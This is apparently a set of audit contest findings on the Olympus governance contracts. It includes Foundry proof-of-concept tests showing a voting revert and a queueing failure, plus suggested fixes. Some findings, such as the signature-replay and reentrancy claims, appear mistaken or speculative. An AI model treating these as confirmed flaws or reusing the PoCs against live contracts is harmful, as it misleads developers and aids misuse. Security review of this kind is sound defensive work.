https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegator.sol#L11
https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegator.sol#L37

Tool used

Manual Review

Recommendation

Validate the input of timelock_.

Duplicate of #39

Anubis - Insufficient Checks on Proposal Signature and Calldata Formats

Anubis

high

Insufficient Checks on Proposal Signature and Calldata Formats

Summary

The GovernorBravoDelegate contract does not perform thorough validation on the function signatures and calldata provided in proposals, potentially allowing malformed or dangerous calls to be included in proposals.

Vulnerability Detail

When a new proposal is created, the propose function accepts arrays of target addresses, ETH values, function signatures, and calldata. However, the validation on these inputs, particularly the function signatures and calldata, is minimal. This could lead to scenarios where proposals include calls to functions that are not intended to be governed or that could cause unintended interactions with target contracts.

Impact

Malformed or unintended function calls in proposals could lead to unexpected behavior when executed, potentially causing security risks, loss of funds, or other critical issues in the governed protocol or target contracts.

Code Snippet

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L225-L232

Tool used

Manual Review

Recommendation

Enhance the validation of function signatures and calldata in the propose function. Consider implementing the following:

Signature Format Validation: Ensure that function signatures are well-formed and match the expected pattern for Solidity function signatures. This could involve regex checks or other string validation methods.

Calldata Content Validation: Where possible, parse and validate the contents of calldata to ensure they adhere to expected formats, value ranges, or other constraints specific to the functions being called.

Here's a conceptual code snippet illustrating how you might implement basic validation for function signatures:

function propose(...) public returns (uint256) {
    ...
    for (uint256 i = 0; i < targets.length; i++) {
        require(_isValidSignature(signatures[i]), "GovernorBravoDelegate: Invalid function signature");
        require(_isValidCalldata(calldatas[i]), "GovernorBravoDelegate: Invalid calldata");
        _queueOrRevertInternal(
            targets[i],
            values[i],
            signatures[i],
            calldatas[i],
            eta
        );
    }
    ...
}

function _isValidSignature(string memory signature) private pure returns (bool) {
    // Implement signature format checks
    ...
}

function _isValidCalldata(bytes memory calldata) private pure returns (bool) {
    // Implement calldata content checks
    ...
}

In this modification, _isValidSignature and _isValidCalldata are hypothetical functions that perform validation on the function signatures and calldata, respectively. Implementing thorough and context-specific validation logic in these functions can significantly reduce the risk of including malformed or unintended function calls in proposals.

Duplicate of #1

Anubis - Inadequate Handling of Proposal Execution Errors

Anubis

medium

Inadequate Handling of Proposal Execution Errors

Summary

The GovernorBravoDelegate contract's execute function allows for the execution of queued proposals. However, there is inadequate error handling for individual action executions within a proposal. This could lead to partial execution of proposals if one of the actions fails.

Vulnerability Detail

In the execute function, proposals are executed by iterating through each action and calling the corresponding function on the target contract. If an action fails due to an error in the target contract or invalid calldata, the entire transaction is reverted, potentially preventing the execution of subsequent actions in the proposal.

Impact

A failure in executing one action of a proposal can lead to the entire proposal not being executed, even if other actions in the proposal are valid and critical for the governance process. This could delay important governance actions and require the proposal to be resubmitted and voted on again, consuming additional time and resources.

Code Snippet

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L268-L275

Tool used

Manual Review

Recommendation

Implement robust error handling for the execution of individual actions within a proposal. Consider the following approaches:

Try-Catch for Individual Actions: Wrap each action execution in a try-catch block to handle errors gracefully. Log the success or failure of each action without reverting the entire transaction.

Flagging of Failed Actions: Introduce a mechanism to flag actions that failed during execution, allowing governance participants to review and address these failures without impacting the execution of other actions in the proposal.

Here's how you might implement try-catch for individual actions:

function execute(uint256 proposalId) external payable {
    ...
    for (uint256 i = 0; i < proposal.targets.length; i++) {
        try timelock.executeTransaction{value: proposal.values[i]}(
            proposal.targets[i],
            proposal.values[i],
            proposal.signatures[i],
            proposal.calldatas[i],
            proposal.eta
        ) {
            emit ActionExecuted(proposalId, i, true);
        } catch {
            emit ActionExecuted(proposalId, i, false);
        }
    }
    ...
}

In this modification, each action execution is wrapped in a try-catch block. The success or failure of each action is emitted as an event (ActionExecuted). This allows for the execution of all actions in the proposal, even if some actions fail, and provides transparency about the execution status of each action.

Anubis - Risk of Unauthorized Proposal Cancellation

Anubis

medium

Risk of Unauthorized Proposal Cancellation

Summary

The cancel function in the contract allows for the cancellation of proposals under certain conditions. However, the logic to determine who can cancel a proposal may not sufficiently prevent unauthorized or unintended cancellation in all cases.

Vulnerability Detail

The cancel function permits the proposal's proposer to cancel it. Additionally, it allows the cancellation by other addresses if the proposer's vote count has dropped below the proposal threshold. While this logic is meant to prevent proposals from proceeding if the proposer no longer has significant backing, it might also enable scenarios where proposals can be canceled by actors other than the proposer under unexpected circumstances.

Impact

If the cancellation logic is not tightly controlled, it might allow proposals to be canceled by parties other than the proposer, leading to potential disruption of the governance process and undermining the confidence of participants in the system.

Code Snippet

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L288
https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L290-L291

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L299-L306

Tool used

Manual Review

Recommendation

Refine the logic surrounding who can cancel a proposal to ensure it aligns with the intended governance model. Ensure that the conditions under which a proposal can be canceled are explicit, well-documented, and aligned with the expectations of the community. Consider implementing additional checks or constraints to prevent unauthorized or unintended proposal cancellations.

nobody2018 - Nobody can cast for any proposal

nobody2018

high

Nobody can cast for any proposal

Summary

[castVote](https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L369)/[[castVoteWithReason](https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L385)](https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L385)/[[castVoteBySig](https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L403)](https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L403) are used to vote for the specified proposal. These functions internally call [castVoteInternal](https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L433-L437) to perform voting logic. However, castVoteInternal can never be executed successfully.

Vulnerability Detail

File: bophades\src\external\governance\GovernorBravoDelegate.sol
433:     function castVoteInternal(
434:         address voter,
435:         uint256 proposalId,
436:         uint8 support
437:     ) internal returns (uint256) {
......
444:         // Get the user's votes at the start of the proposal and at the time of voting. Take the minimum.
445:         uint256 originalVotes = gohm.getPriorVotes(voter, proposal.startBlock);
446:->       uint256 currentVotes = gohm.getPriorVotes(voter, block.number);
447:         uint256 votes = currentVotes > originalVotes ? originalVotes : currentVotes;
......
462:     }

The second parameter of gohm.getPriorVotes(voter, block.number) can only a number smaller than block.number. Please see the [code](https://etherscan.io/token/0x0ab87046fBb341D058F17CBC4c1133F25a20a52f#code#L703) deployed by gOHM on the mainnet:

function getPriorVotes(address account, uint256 blockNumber) external view returns (uint256) {
->      require(blockNumber < block.number, "gOHM::getPriorVotes: not yet determined");
......
    }

Therefore, L446 will always revert. Voting will not be possible.

Copy the coded POC below to one project from Foundry and run forge test -vvv to prove this issue.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;

import "forge-std/Test.sol";

interface CheatCodes {
    function prank(address) external;
    function createSelectFork(string calldata,uint256) external returns(uint256);
}

interface IGOHM {
    function getPriorVotes(address account, uint256 blockNumber) external view returns (uint256);
}

contract ContractTest is DSTest{
    address gOHM = 0x0ab87046fBb341D058F17CBC4c1133F25a20a52f;
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("https://rpc.ankr.com/eth", 19068280);
    }

    function testRevert() public {
        address user = address(0x12399543949349);
        cheats.prank(user);
        IGOHM(gOHM).getPriorVotes(address(0x1111111111), block.number);
    }

    function testOk() public {
        address user = address(0x12399543949349);
        cheats.prank(user);
        IGOHM(gOHM).getPriorVotes(address(0x1111111111), block.number - 1);
    }
}
/**output
[PASS] testOk() (gas: 13019)
[FAIL. Reason: revert: gOHM::getPriorVotes: not yet determined] testRevert() (gas: 10536)
Traces:
  [10536] ContractTest::testRevert()
    ├─ [0] VM::prank(0x0000000000000000000000000012399543949349)
    │   └─ ← ()
    ├─ [540] 0x0ab87046fBb341D058F17CBC4c1133F25a20a52f::getPriorVotes(0x0000000000000000000000000000001111111111, 19068280 [1.906e7]) [staticcall]  
    │   └─ ← revert: gOHM::getPriorVotes: not yet determined
    └─ ← revert: gOHM::getPriorVotes: not yet determined

Test result: FAILED. 1 passed; 1 failed; 0 skipped; finished in 1.80s
**/

Impact

Nobody can cast for any proposal. Not being able to vote means the entire governance contract will be useless. Core functionality is broken.

Code Snippet

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L446

Tool used

Manual Review

Recommendation

File: bophades\src\external\governance\GovernorBravoDelegate.sol
445:         uint256 originalVotes = gohm.getPriorVotes(voter, proposal.startBlock);
446:-        uint256 currentVotes = gohm.getPriorVotes(voter, block.number);
446:+        uint256 currentVotes = gohm.getPriorVotes(voter, block.number - 1);
447:         uint256 votes = currentVotes > originalVotes ? originalVotes : currentVotes;

 

Anubis - Lack of Validation for Proposal Action Targets

Anubis

high

Lack of Validation for Proposal Action Targets

Summary

The propose function allows a proposal to include actions (targets, values, signatures, calldatas) without validating the legitimacy or safety of the target addresses. This could potentially allow proposals to include actions that interact with unsafe or unintended contracts.

Vulnerability Detail

In the propose function, while there are checks for proposal thresholds and the matching lengths of the proposal parameters, there is no check on the legitimacy or contract safety of the target addresses included in a proposal. Malicious actors could potentially craft proposals that target unsafe or malicious contracts, leading to unintended consequences when executed.

Impact

If a proposal containing actions with unsafe target addresses is executed, it could lead to loss of funds, compromise of contract integrity, or other severe impacts on the contract and its stakeholders.

Code Snippet

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L127-L133

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L225-L232

Tool used

Manual Review

Recommendation

Implement a validation mechanism for the target addresses included in proposals. This could involve maintaining a list of approved contracts that are allowed to be interacted with through governance proposals. Additionally, consider implementing a review or validation process for adding new contracts to the approved list, ensuring that only safe and audited contracts can be targeted by governance actions.

Duplicate of #1

Anubis - Insufficient Validation in Proposal Creation

Anubis

medium

Insufficient Validation in Proposal Creation

Summary

Insufficient Validation in Proposal Creation

Vulnerability Detail

In the propose function, there is a validation step to ensure that the proposer has enough votes and that the lengths of the proposal parameters (targets, values, signatures, calldatas) match. However, there is no validation to ensure that the targets, signatures, and calldatas are not malicious or malformed, which could lead to unintended behavior when executing the proposal.

Impact

Malicious or incorrect input in the proposal parameters could lead to unintended contract behavior or exploitation, potentially affecting the integrity and security of the governance process.

Code Snippet

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L127-L133

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L225-L231

Tool used

Manual Review

Recommendation

Implement additional checks in the propose function to validate the format and integrity of the targets, signatures, and calldatas. Consider using a whitelist of permitted target addresses and function selectors to mitigate the risk of executing arbitrary or malicious actions through a proposal.

s1l3nt - Forge signatures on different proposals on castVoteBySig function

s1l3nt

high

Forge signatures on different proposals on castVoteBySig function

Summary

Reuse of signature data. The signature data is not unique on each proposal ID, this means that the same sig data can be used on different proposals.

Vulnerability Detail

The castVoteBySig function reuses the same signature data (digest) for all votes, regardless of the proposal ID. This could allow an attacker to forge signatures for votes on different proposals by reusing the same signature data and changing the support value.

GovernorBravoDelegate.castVoteBySig

 function castVoteBySig(
        uint256 proposalId,
        uint8 support,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external {
        bytes32 domainSeparator = keccak256(
            abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainIdInternal(), address(this))
        );
        bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support));
        bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));  //[x]
        address signatory = ecrecover(digest, v, r, s);                              // [x]

        if (signatory == address(0)) revert GovernorBravo_InvalidSignature();
        emit VoteCast(
            signatory,
            proposalId,
            support,
            castVoteInternal(signatory, proposalId, support),
            ""
        );
    }

Impact

Attacker can vote on different proposals on behalf of a user.

Code Snippet

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L403

Tool used

Manual Review

Recommendation

The castVoteBySig function should protect against replay attacks. It should use a nonce or other unique identifier to prevent an attacker from replaying a valid signature to cast multiple votes on the same proposal.

r0ck3tz - It might be not possible to execute approved proposals

r0ck3tz

medium

It might be not possible to execute approved proposals

Summary

It is possible to create proposals that consist of duplicate transactions (actions), but it will not be possible to queue these transactions due to the logic implemented in the _queueOrRevertInternal function. This will lead to a scenario where approved proposals cannot be queued and thus executed.

Vulnerability Detail

The propose function of the GovernorBravoDelegate contract allows the creation of proposals with duplicate transactions (actions). This could be relevant in cases where triggering a specific function twice is necessary, for example, the claim() function. Once the transaction is approved, the queue function is called, which, in turn, invokes the Timelock to queue the transactions. The issue arises in the _queueOrRevertInternal function, which checks if the transaction has already been queued. If it has, the function reverts, preventing the queuing of proposals containing duplicated transactions.

The following proof of concept illustrates the issue:

unction testQueueFailIssue() public {
    address[] memory targets = new address[](2);
    uint256[] memory values = new uint256[](2);
    string[] memory signatures = new string[](2);
    bytes[] memory calldatas = new bytes[](2);
    string memory description = "Test Proposal";

    targets[0] = address(0x1234);
    values[0] = 0 ether;
    signatures[0] = "";
    calldatas[0] = abi.encodeWithSignature("claim()");
    
    targets[1] = address(0x1234);
    values[1] = 0 ether;
    signatures[1] = "";
    calldatas[1] = abi.encodeWithSignature("claim()");

    // Create proposal
    vm.prank(alice);
    bytes memory data = address(governorBravoDelegator).functionCall(
        abi.encodeWithSignature(
            "propose(address[],uint256[],string[],bytes[],string)",
            targets,
            values,
            signatures,
            calldatas,
            description
        )
    );
    uint256 proposalId = abi.decode(data, (uint256));

    // Warp forward so voting period has started
    vm.roll(block.number + 21601);

    // Set zero address's voting power
    gohm.checkpointVotes(address(0));

    // Vote for proposal
    vm.prank(address(0));
    address(governorBravoDelegator).functionCall(
        abi.encodeWithSignature("castVote(uint256,uint8)", proposalId, 1)
    );

    // Warp forward so voting period is complete (quorum met and majority) and warp forward so that the timelock grace period has expired
    vm.roll(block.number + 21600);

    // Queue proposal
    address(governorBravoDelegator).functionCall(
        abi.encodeWithSignature("queue(uint256)", proposalId)
    );
}

Results:

Running 1 test for src/test/external/GovernorBravoDelegate.t.sol:GovernorBravoDelegateTest
[FAIL. Reason: GovernorBravo_Queue_AlreadyQueued()] testQueueFailIssue() (gas: 598976)
Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 11.61ms

Ran 1 test suites: 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in src/test/external/GovernorBravoDelegate.t.sol:GovernorBravoDelegateTest
[FAIL. Reason: GovernorBravo_Queue_AlreadyQueued()] testQueueFailIssue() (gas: 598976)

Encountered a total of 1 failing tests, 0 tests succeeded

Impact

The approved proposal cannot be queued and thus executed.

Code Snippet

Tool used

Manual Review

Recommendation

It is recommended to add a check in the propose function to prevent the creation of proposals with duplicated transactions (actions).

makumbaoscar - The `castVoteInternal` function in the provided governance contract could potentially be vulnerable to a reentrancy attack

makumbaoscar

high

The castVoteInternal function in the provided governance contract could potentially be vulnerable to a reentrancy attack

Summary

A malicious contract could exploit the castVoteInternal function’s external calls to getPriorVotes , leading to a reentrancy attack.

Vulnerability Detail

In the castVoteInternal function, there are external calls to the getPriorVotes function of the gohm contract. These calls occur before the state of the vote ( receipt.hasVoted ) is updated. This ordering of operations exposes the function to a potential reentrancy attack.

In this case, if the getPriorVotes function in the gohm contract is controlled by an attacker or is otherwise not secure, it could potentially call back into the castVoteInternal function before the first call is finished.

Below is a sequence of the reentrancy operations:

  • The castVoteInternal function is called to cast a vote.
  • The function makes an external call to gohm.getPriorVotes.
  • Since the receipt.hasVoted state is not updated until after the getPriorVotes calls, the reentrant castVoteInternal call does not know that the voter has already voted. This allows the attacker to cast multiple votes in a single proposal.

Impact

A successful reentrancy attack allows an attacker to cast multiple votes in a single proposal, altering the outcome of the vote. This disrupts the normal operation of the governance system and leads to loss of trust in the system.

Code Snippet

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L444-L462

Tool used

Manual Review

Recommendation

To mitigate this potential vulnerability, consider implementing a reentrancy guard in the castVoteInternal function

Anubis - Potential for Proposal Manipulation via Timing of Vote Counting

Anubis

medium

Potential for Proposal Manipulation via Timing of Vote Counting

Summary

The contract determines the outcome of proposals based on vote counts at specific block numbers. However, the timing of these vote counts can be manipulated due to the dynamic nature of the getPriorVotes function, potentially leading to discrepancies in the actual support for a proposal.

Vulnerability Detail

The contract uses the getPriorVotes function to fetch the number of votes that a voter had as of a given block number. This function is used to determine the voter's weight both at the start of the proposal and at the time of voting. Since votes can be delegated and undelegated, the actual number of votes during the voting period can differ significantly from the snapshot taken at the start of the proposal.

Impact

If significant vote weight changes occur between the snapshot block and the time of voting, it could lead to a situation where the outcome of a proposal does not accurately reflect the current preference of the token holders. This can be exploited by manipulating vote timing, potentially affecting the integrity of the governance process.

Code Snippet

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L433-L437

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L444-L447

Tool used

Manual Review

Recommendation

Consider implementing a more robust mechanism for vote counting that accounts for the dynamic nature of vote delegation. One approach could be to lock in the voting weight of a voter for the duration of the proposal once they cast their vote, preventing further changes to their voting weight from affecting that particular proposal. Additionally, ensuring clear and transparent communication about how votes are counted and any potential limitations of the current system is crucial for maintaining trust in the governance process.

Anubis - GovernorBravoDelegateStorage - Insecure Upgradeability Pattern

Anubis

high

GovernorBravoDelegateStorage - Insecure Upgradeability Pattern

Summary

The GovernorBravoDelegateStorageV2 contract, as part of an upgradeable contract pattern, may be vulnerable to insecure upgradeability due to the lack of safeguards around the upgrade process, potentially leading to unauthorized contract upgrades or downgrade attacks.

Vulnerability Detail

The contract relies on the implementation variable to delegate calls to the implementation contract. However, without stringent access controls and security checks, the upgrade process is susceptible to unauthorized changes, allowing attackers to alter the contract's logic or downgrade it to a less secure version.

Impact

If an attacker gains control over the upgrade process, they could divert the delegate calls to a malicious implementation, leading to loss of funds, corruption of the governance process, or complete takeover of the contract's functionality.

Code Snippet

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/abstracts/GovernorBravoStorage.sol#L17

Tool used

Manual Review

Recommendation

Implement a secure upgrade process with robust access control, timelocks, and potentially multi-signature requirements for critical actions like contract upgrades. Consider using established frameworks for upgradeable contracts, such as OpenZeppelin's TransparentUpgradeableProxy and ProxyAdmin, to manage upgrades securely.

Ensure that only trusted addresses can propose and execute upgrades. Include mechanisms to propose, review, and approve upgrades before execution, providing transparency and security.

Include a timelock in the upgrade process to give stakeholders enough time to react to proposed changes. This delay allows for thorough review and potential intervention if the proposed upgrade is malicious or undesirable.

Code Snippet for Fix:

uint256 public constant UPGRADE_DELAY = 2 days;
uint256 public upgradeTimelock;
address public pendingImplementation;

// Propose a new implementation, initiating the timelock period
function proposeUpgrade(address implementation_) public {
    require(msg.sender == admin, "Only admin can propose upgrade");
    require(implementation_ != address(0), "Invalid implementation address");
    require(upgradeTimelock == 0, "Upgrade already proposed");
    
    pendingImplementation = implementation_;
    upgradeTimelock = block.timestamp + UPGRADE_DELAY;
    emit UpgradeProposed(implementation_);
}

// Execute the upgrade after the timelock period has passed
function executeUpgrade() public {
    require(msg.sender == admin, "Only admin can execute upgrade");
    require(block.timestamp >= upgradeTimelock, "Timelock has not expired yet");
    require(pendingImplementation != address(0), "No pending upgrade");

    address oldImplementation = implementation;
    implementation = pendingImplementation;
    pendingImplementation = address(0);
    upgradeTimelock = 0;
    emit NewImplementation(oldImplementation, implementation);
}

By leveraging a secure upgrade pattern with adequate access control and a transparent review process, the contract can prevent unauthorized upgrades and ensure that any change to the contract's logic is conducted securely, transparently, and with community consensus.

Anubis - Veto Functionality May Centralize Power

Anubis

medium

Veto Functionality May Centralize Power

Summary

The veto function allows the vetoGuardian to unilaterally veto any proposal. While this feature might be intended as a safeguard against malicious proposals, it centralizes significant power in the hands of the vetoGuardian, potentially undermining the decentralized nature of the governance process.

Vulnerability Detail

The veto function can be called by the vetoGuardian to immediately veto any active or queued proposal. This functionality, while potentially useful for emergency situations, centralizes significant decision-making power. The ability to unilaterally veto proposals without a clear, community-driven governance process or checks and balances might lead to misuse or undermine trust in the governance system.

Impact

The centralization of veto power can lead to potential misuse or could be perceived as undermining the decentralized and democratic nature of the governance process. It may discourage participation or lead to disputes if the veto power is used in a way that the community perceives as unfair or against their interests.

Code Snippet

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L324-L331

Tool used

Manual Review

Recommendation

Carefully consider the implications of the veto functionality on the governance process. If keeping the veto function, ensure transparency around its use and consider implementing additional checks, balances, or community-driven processes to approve or contest the use of the veto. Alternatively, explore mechanisms to distribute or limit the veto power to align more closely with the principles of decentralized governance.

Duplicate of #22

Anubis - Grace Period Potential for Manipulation

Anubis

medium

Grace Period Potential for Manipulation

Summary

The Timelock contract utilizes a fixed GRACE_PERIOD for transaction execution, which may present risks if the network conditions change or in case of unforeseen events, potentially allowing transaction execution outside of intended time frames.

Vulnerability Detail

The contract defines a GRACE_PERIOD as a constant time window during which a queued transaction can be executed. This period does not account for variations in network conditions, block times, or other unforeseen events, potentially allowing transactions to be executed in an outdated context or manipulated time frames.

Impact

If the network conditions vary or in case of an unforeseen event (e.g., network congestion, changes in block times), the fixed GRACE_PERIOD may allow the execution of transactions at times that are not aligned with the governance process or the intentions of the transaction creators. This could lead to disputes, misalignment with governance intentions, or exploitation of the system during times of network instability.

Code Snippet

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/Timelock.sol#L52

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/Timelock.sol#L140-L147

Tool used

Manual Review

Recommendation

Consider implementing a more dynamic or adjustable GRACE_PERIOD that can respond to network conditions or introducing a mechanism to renew or validate the relevance of a transaction before execution if it's close to the end of its grace period. This ensures that transactions are executed within a contextually relevant timeframe and reduces the risks associated with fixed time windows.

Code Snippet for Fix:

// Allow the grace period to be updated within a reasonable range
function setGracePeriod(uint256 newGracePeriod) public {
    if (msg.sender != address(this)) revert Timelock_OnlyInternalCall();
    require(newGracePeriod >= MIN_GRACE_PERIOD && newGracePeriod <= MAX_GRACE_PERIOD, "Timelock: Invalid grace period");
    GRACE_PERIOD = newGracePeriod;

    emit NewGracePeriod(GRACE_PERIOD);
}

function executeTransaction(
    address target,
    uint256 value,
    string memory signature,
    bytes memory data,
    uint256 eta
) public payable returns (bytes memory) {
    ...
    if (block.timestamp > eta + GRACE_PERIOD) revert Timelock_InvalidTx_Stale();
    ...
    // Additional logic to validate the transaction's relevance
    ...
}

By allowing adjustments to the GRACE_PERIOD and implementing additional validation mechanisms, the contract can ensure that transactions are executed within a contextually appropriate and safe timeframe, enhancing the robustness and reliability of the timelock mechanism.

cawfree - Invariant Violation: Proposals to call `GovernorBravoDelegate#_setModuleRiskLevel` are not considered high-risk proposals.

cawfree

medium

Invariant Violation: Proposals to call GovernorBravoDelegate#_setModuleRiskLevel are not considered high-risk proposals.

Summary

The function _isHighRiskProposal(address[],string[],bytes[]) does not consider a proposal's attempt to deregister a module currently reserved as isKeycodeHighRisk as a high-risk action.

Vulnerability Detail

The function _isHighRiskProposal(address[],string[],bytes[]) is used to ensure potentially dangerous proposals require a higher level of quorum before being passed.

Since proposals are executed as an admin of GovernorBravoDelegate, it is possible for a proposal to modify which modules qualify as high risk via an external call to _setModuleRiskLevel(bytes5,bool), but this is not considered a high-risk operation in itself.

Tip

Consider the scenario of a standard-privilege user having the ability to control who has administrator rights in a system.

The result here is that a standard-quorum proposal can enable the execution of high-risk actions also at standard levels of quorum, which although in some scenarios may indeed be desirable, should first demand a higher-level of quorum in order to be sustained.

Impact

Medium, as this is a direct subversion of access control to system-critical components due to an oversight in the permission system.

Code Snippet

/**
 * @notice Sets whether a module is considered high risk
 * @dev Admin function to set whether a module in the Default Framework is considered high risk
 * @param module_ The module to set the risk of
 * @param isHighRisk_ If the module is high risk
 */
function _setModuleRiskLevel(bytes5 module_, bool isHighRisk_) external {
    if (msg.sender != admin) revert GovernorBravo_OnlyAdmin();
    isKeycodeHighRisk[toKeycode(module_)] = isHighRisk_;
}

Tool used

Vim, Foundry

Recommendation

Proposals attempting to target address(this) with calls to _setModuleRiskLevel(bytes5,bool) should be considered a high risk operation when determining _isHighRiskProposal(address[],string[],bytes[]).

Duplicate of #104

Anubis - GovernorBravoDelegate - Lack of Input Validation for Administrative Functions

Anubis

medium

GovernorBravoDelegate - Lack of Input Validation for Administrative Functions

Summary

Several administrative functions in the contract lack adequate input validation or checks, potentially allowing for configuration of governance parameters to invalid or unsafe values.

Vulnerability Detail

The contract includes several administrative functions (e.g., _setVotingDelay, _setVotingPeriod, _setProposalThreshold) that are used to configure critical governance parameters. However, not all these functions have comprehensive checks to validate the input parameters, potentially allowing for the governance parameters to be set to values that could disrupt the governance process.

Impact

Improper validation of input parameters for administrative functions can lead to the configuration of governance parameters that are either too lenient or too strict, potentially making the governance process vulnerable to manipulation or rendering it inoperable.

Code Snippet

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L470-L479

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L485-L494

Tool used

Manual Review

Recommendation

Implement comprehensive input validation for all administrative functions that modify governance parameters. Ensure that all input parameters are within safe and sensible ranges, and consider adding additional logic to prevent parameters from being set to values that could compromise the integrity or operability of the governance process.

Duplicate of #21

Anubis - Inadequate Protection Against Proposal Target Misconfiguration

Anubis

high

Inadequate Protection Against Proposal Target Misconfiguration

Summary

The GovernorBravoDelegate contract permits proposals to specify arbitrary target addresses, function signatures, and calldata. However, there is a lack of stringent validation to ensure that these parameters are correctly configured and do not target potentially harmful or unintended contracts or functions.

Vulnerability Detail

In the propose function, proposals are created by specifying a list of target addresses, function signatures, and calldata. Malicious or misconfigured proposals could inadvertently or intentionally target critical system contracts or functions in a detrimental manner. This could lead to unauthorized or unintended interactions with critical parts of the system or external contracts, leading to potential security risks or disruption of the system's intended functionality.

Impact

If proposals can freely target any address and function, there is a risk that proposals could be used to execute unintended or harmful actions on critical system contracts or external dependencies. This could compromise the integrity, security, or performance of the system.

Code Snippet

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L225-L232

Tool used

Manual Review

Recommendation

Introduce a robust validation mechanism to ensure that proposal targets, function signatures, and calldata are correctly configured and safe. Consider implementing the following measures:

Whitelisting of Safe Targets: Maintain a whitelist of approved target addresses that can be interacted with through proposals. Only allow proposals to target these approved addresses.

Function Signature Validation: Implement checks to validate the function signatures against a list of approved functions. Ensure that only safe and intended functions can be called through proposals.

Calldata Inspection: Where possible, inspect and validate the calldata for proposals to ensure that they adhere to expected formats and values. This may involve parsing the calldata and comparing it against expected patterns or schemas.

Here's a code snippet illustrating how you might implement a target whitelist :

// State variable to hold whitelisted addresses
mapping(address => bool) public whitelistedTargets;

// Function to manage the whitelist
function setWhitelistedTarget(address _target, bool _whitelisted) external {
    require(msg.sender == admin, "GovernorBravoDelegate: unauthorized");
    whitelistedTargets[_target] = _whitelisted;
    emit TargetWhitelistUpdated(_target, _whitelisted);
}

// Updated propose function with the whitelist check
function propose(
    address[] memory targets,
    uint256[] memory values,
    string[] memory signatures,
    bytes[] memory calldatas,
    string memory description
) public returns (uint256) {
    ...
    for (uint256 i = 0; i < proposal.targets.length; i++) {
        require(whitelistedTargets[proposal.targets[i]], "GovernorBravoDelegate: target not whitelisted");
        _queueOrRevertInternal(
            proposal.targets[i],
            proposal.values[i],
            proposal.signatures[i],
            proposal.calldatas[i],
            eta
        );
    }
    ...
}

Duplicate of #1

Anubis - Insufficient Guard Against Proposal ID Collision

Anubis

medium

Insufficient Guard Against Proposal ID Collision

Summary

The propose function does not adequately guard against the possibility of proposal ID collision, potentially leading to proposal data being overwritten or mismanaged.

Vulnerability Detail

In the propose function, the proposal ID is determined by incrementing the proposalCount. There is a check to ensure that the new proposal's ID does not already correspond to an existing proposal. However, this check may not be sufficiently robust to prevent all cases of proposal ID collision, especially if the proposal count reaches very large numbers or if there is unexpected behavior in the contract's state.

Impact

A collision in proposal IDs can result in the overwriting of existing proposals or the creation of proposals with conflicting IDs, leading to confusion, mismanagement of proposals, or potential exploitation.

Code Snippet

